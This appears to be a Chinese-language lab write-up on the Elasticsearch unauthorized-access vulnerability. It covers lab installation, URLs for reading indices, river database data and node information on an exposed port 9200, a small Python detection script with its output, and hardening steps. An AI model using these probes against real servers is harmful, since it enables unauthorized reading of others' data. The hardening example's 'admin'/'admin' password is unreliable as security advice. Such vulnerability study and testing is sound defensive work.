Elasticsearch未授權訪問漏洞
Elasticsearch會默認會在9200端口對外開放,用於提供遠程管理數據的功能。
任何連接到服務器端口上的人,都可以調用相關API對服務器上的數據進行任意的增刪改查。
Elasticsearch 安裝
環境:
elasticsearch Win下載地址:elasticsearch-5.5.0
Ser2008:JDK 1.7+
、IP地址:192.168.1.6
解壓 elasticsearch,進入 bin 目錄,雙擊執行 elasticsearch.bat(等待20s作用服務才啟動)
訪問 http://localhost:9200/ ,出現以下頁面,說明安裝成功。
局域網訪問需要在 config/elasticsearch.yml
文件中添加:
network.host: 0.0.0.0
#表示所有用戶可訪問 即遠程訪問
漏洞復現
安裝了river之后可以同步多種數據庫數據(包括關系型的mysql、mongodb等)。
http://localhost:9200/_cat/indices
里面的indices包含了_river一般就是安裝了river了。
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看數據庫敏感信息
http://localhost:9200/_nodes 查看節點數據
訪問 http://192.168.1.6:9200/_cat/ 可以看到
檢測腳本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)
except:
pass
if "_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
Elasticsearch_check('192.168.1.6')
➜ elasticsearch python poc.py
[+] Elasticsearch Unauthorized: 192.168.1.6:9200
加固方案
1.限制IP訪問,綁定固定IP
config/elasticsearch.yml中設置
http.basic.ipwhitelist: ["localhost", "127.0.0.1"] #本地地址或其他IP
2.在config/elasticsearch.yml中為9200端口設置認證:
http.basic.enabled: true #開關,開啟會接管全部HTTP連接
http.basic.user: "admin" #賬號
http.basic.password: "admin" #密碼